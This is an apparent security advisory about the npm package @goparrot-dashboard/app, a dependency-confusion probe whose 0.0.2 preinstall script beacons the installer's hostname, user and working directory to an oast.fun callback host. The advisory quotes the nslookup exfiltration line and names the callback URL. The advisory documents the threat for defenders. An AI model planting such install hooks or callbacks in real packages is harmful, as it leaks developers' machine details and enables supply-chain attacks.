@goparrot-dashboard/app

@goparrot-dashboard/app is a dependency-confusion probe: it takes a name in a `@goparrot-dashboard` scope that its publisher created on npm, next to GoParrot's public `@goparrot` scope, so a build that resolves that scope from npm runs its code instead of a private package of the same name. In 0.0.2 a preinstall script runs `node index.js` on npm install, which collects the hostname, the `whoami` user and the working directory, looks up a DNS name built from the user and host names under `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` with `nslookup`, and sends the same values in a `curl` request to `https://iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun/rootxravi-poc`, an interactsh callback host; 0.0.1 and 0.0.3 only print a marker when imported. The npm account devtest91001 published it on 2026-11-01 together with 24 other `@goparrot-dashboard` and `@goparrot-dashboard-api` packages that print the same "rootxravi-poc-security" marker.

---
_-= Per source details. Do not edit below this line.=-_

Source: amazon-inspector (15fc3978543eda6ea8e55289945a35f5244e9a6bd47959bee908ab293cdfd658)
The package declares a `preinstall` lifecycle script that runs `node index.js` automatically on `npm install`. index.js collects installer host identifiers — `hostname`, the output of `whoami`, and `process.cwd()` — and transmits them to a hardcoded Interactsh (oast.fun) callback host at `iuczektmwpudhwqnsbkgc6m8nx2dgn5vc.oast.fun` via two channels: a DNS lookup against a subdomain that embeds the collected username and hostname (`execSync("nslookup ${whoami}.${hostname}.rootxravi.${CALLBACK}")`), and an HTTPS GET to `https://<CALLBACK>/rootxravi-poc?...` carrying the same data. The behavior fires without user action during installation and leaks identifying information about the installer's machine to an attacker-controlled OAST endpoint. Author comments labeling the code as a proof-of-concept do not change the dataflow — installing the package produces an install-time beacon to a third-party callback host.